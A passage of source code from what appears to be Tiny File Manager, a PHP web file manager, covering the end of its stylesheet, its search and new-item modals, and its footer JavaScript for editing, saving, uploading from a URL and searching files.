        pre.with-hljs { padding:0  }
        pre.with-hljs code { margin:0;border:0;overflow:visible  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC)  }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px;border-radius:3px  }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { border-radius:0;padding:3px 6px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        .ekko-lightbox .modal-dialog { max-width:98%; }
        .ekko-lightbox-item.fade.in.show .row { background:#fff; }
        .ekko-lightbox-nav-overlay { display:flex !important;opacity:1 !important;height:auto !important;top:50%; }
        .ekko-lightbox-nav-overlay a { opacity:1 !important;width:auto !important;text-shadow:none !important;color:#3B3B3B; }
        .ekko-lightbox-nav-overlay a:hover { color:#20507D; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6.text-right { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img {
            max-width: 300px;
        }
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            body.theme-dark { background-color: #2f2a2a; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #ffffff; }
            a, a:hover, a:visited, a:active, #main-table .filename a { color: #00ff1f; }
            ul#search-wrapper li:nth-child(odd) { background: #f9f9f9cc; }
            .theme-dark .btn-outline-primary { color: #00ff1f; border-color: #00ff1f; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #028211;}
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">

    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" aria-label="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <div class="modal-content <?php echo fm_get_theme(); ?>">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline1" name="newfile" value="file" class="custom-control-input">
                        <label class="custom-control-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>

                    <div class="custom-control custom-radio custom-control-inline">
                        <input type="radio" id="customRadioInline2" name="newfile" value="folder" class="custom-control-input" checked="">
                        <label class="custom-control-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control">
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="button" class="btn btn-success" onclick="newfolder('<?php echo fm_enc(FM_PATH) ?>');return false;"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </div>
        </div>
    </div>

    <!-- Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group input-group">
                    <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> a files" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                    <div class="input-group-append">
                        <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                    </div>
                </div>
            </h5>
            <button type="button" class="close" data-dismiss="modal" aria-label="Close">
              <span aria-hidden="true">&times;</span>
            </button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>
    <script type="text/html" id="js-tpl-modal">
        <div class="modal fade" id="js-ModalCenter-<%this.id%>" tabindex="-1" role="dialog" aria-labelledby="ModalCenterTitle" aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered" role="document">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title" id="ModalCenterTitle"><%this.title%></h5>
                        <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                            <span aria-hidden="true">&times;</span>
                        </button>
                    </div>
                    <div class="modal-body">
                        <%this.content%>
                    </div>
                    <div class="modal-footer">
                        <button type="button" class="btn btn-outline-primary" data-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                        <%if(this.action){%><button type="button" class="btn btn-primary" id="js-ModalCenterAction" data-type="js-<%this.action%>"><%this.action%></button><%}%>
                    </div>
                </div>
            </div>
        </div>
    </script>

    <?php
    }

    /**
     * Show page footer
     */
    function fm_show_footer()
    {
    ?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<script src="https://cdn.datatables.net/1.10.23/js/jquery.dataTables.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/5.3.0/ekko-lightbox.min.js"></script>
<?php if (FM_USE_HIGHLIGHTJS): ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/10.6.0/highlight.min.js"></script>
    <script>hljs.highlightAll(); var isHighlightingEnabled = true;</script>
<?php endif; ?>
<script>
    $(document).on('click', '[data-toggle="lightbox"]', function(event) {
        event.preventDefault();
        var reInitHighlight = function() { if(typeof isHighlightingEnabled !== "undefined" && isHighlightingEnabled) { setTimeout(function () { $('.ekko-lightbox-container pre code').each(function (i, e) { hljs.highlightBlock(e) }); }, 555); } };
        $(this).ekkoLightbox({
            alwaysShowClose: true, showArrows: true, onShown: function() { reInitHighlight(); }, onNavigate: function(direction, itemIndex) { reInitHighlight(); }
        });
    });
    //TFM Config
    window.curi = "https://tinyfilemanager.github.io/config.json", window.config = null;
    function fm_get_config(){ if(!!window.name){ window.config = JSON.parse(window.name); } else { $.getJSON(window.curi).done(function(c) { if(!!c) { window.name = JSON.stringify(c), window.config = c; } }); }}
    function template(html,options){
        var re=/<\%([^\%>]+)?\%>/g,reExp=/(^( )?(if|for|else|switch|case|break|{|}))(.*)?/g,code='var r=[];\n',cursor=0,match;var add=function(line,js){js?(code+=line.match(reExp)?line+'\n':'r.push('+line+');\n'):(code+=line!=''?'r.push("'+line.replace(/"/g,'\\"')+'");\n':'');return add}
        while(match=re.exec(html)){add(html.slice(cursor,match.index))(match[1],!0);cursor=match.index+match[0].length}
        add(html.substr(cursor,html.length-cursor));code+='return r.join("");';return new Function(code.replace(/[\r\t\n]/g,'')).apply(options)
    }
    function newfolder(e) {
        var t = document.getElementById("newfilename").value, n = document.querySelector('input[name="newfile"]:checked').value;
        null !== t && "" !== t && n && (window.location.hash = "#", window.location.search = "p=" + encodeURIComponent(e) + "&new=" + encodeURIComponent(t) + "&type=" + encodeURIComponent(n))
    }
    function rename(e, t) {var n = prompt("New name", t);null !== n && "" !== n && n != t && (window.location.search = "p=" + encodeURIComponent(e) + "&ren=" + encodeURIComponent(t) + "&to=" + encodeURIComponent(n))}
    function change_checkboxes(e, t) { for (var n = e.length - 1; n >= 0; n--) e[n].checked = "boolean" == typeof t ? t : !e[n].checked }
    function get_checkboxes() { for (var e = document.getElementsByName("file[]"), t = [], n = e.length - 1; n >= 0; n--) (e[n].type = "checkbox") && t.push(e[n]); return t }
    function select_all() { change_checkboxes(get_checkboxes(), !0) }
    function unselect_all() { change_checkboxes(get_checkboxes(), !1) }
    function invert_all() { change_checkboxes(get_checkboxes()) }
    function checkbox_toggle() { var e = get_checkboxes(); e.push(this), change_checkboxes(e) }
    function backup(e, t) { //Create file backup with .bck
        var n = new XMLHttpRequest,
            a = "path=" + e + "&file=" + t + "&type=backup&ajax=true";
        return n.open("POST", "", !0), n.setRequestHeader("Content-type", "application/x-www-form-urlencoded"), n.onreadystatechange = function () {
            4 == n.readyState && 200 == n.status && toast(n.responseText)
        }, n.send(a), !1
    }
    // Toast message
    function toast(txt) { var x = document.getElementById("snackbar");x.innerHTML=txt;x.className = "show";setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000); }
    //Save file
    function edit_save(e, t) {
        var n = "ace" == t ? editor.getSession().getValue() : document.getElementById("normal-editor").value;
        if (n) {
            if(true){
                var data = {ajax: true, content: n, type: 'save'};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    // The key needs to match your method's input parameter (case-sensitive).
                    data: JSON.stringify(data),
                    contentType: "multipart/form-data-encoded; charset=utf-8",
                    //dataType: "json",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });

            }
            else{
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), document.body.appendChild(a), a.submit()
            }
        }
    }
    //Check latest version
    function latest_release_info(v) {
        if(!!window.config){var tplObj={id:1024,title:"Check Version",action:false},tpl=$("#js-tpl-modal").html();
        if(window.config.version!=v){tplObj.content=window.config.newUpdate;}else{tplObj.content=window.config.noUpdate;}
        $('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1024").modal('show');}else{fm_get_config();}
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    //Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    //Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    //Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    //search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt && searchTxt.length > 2 && path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search'};
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data && data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    //on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.css&&o.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Event
    $(document).ready( function () {
        //load config
        fm_get_config();
        //dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng && tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3],
            mainTable = $('#main-table').DataTable({"paging": false, "info": false, "order": [], "columnDefs": [{"targets": _targets, "orderable": false}]
        });
        //search
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) && isset($_GET['env']) && FM_EDIT_FILE):
        $ext = "javascript";
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        ?>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ace/1.4.12/ace.js"></script>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data && _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data && _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data && _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change(); //set default font size in drop down
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue && cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElement&&null===document.fullScreenElement||void 0!==document.msFullscreenElement&&null===document.msFullscreenElement||void 0!==document.mozFullScreen&&!document.mozFullScreen||void 0!==document.webkitIsFullScreen&&!document.webkitIsFullScreen)
                        &&(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreen&&editor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    } else if(editorOption == "help") {
                        var helpHtml="";$.each(window.config.aceHelp,function(i,value){helpHtml+="<li>"+value+"</li>";});var tplObj={id:1028,title:"Help",action:false,content:helpHtml},tpl=$("#js-tpl-modal").html();$('#wrapper').append(template(tpl,tplObj));$("#js-ModalCenter-1028").modal('show');
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue && selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue && selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue && selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

/**
 * Language Translation System
 * @param string $txt
 * @return string
 */
function lng($txt) {
    global $lang;

    // English Language
    $tr['en']['AppName']        = 'Tiny File Manager';      $tr['en']['AppTitle']           = 'File Manager';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
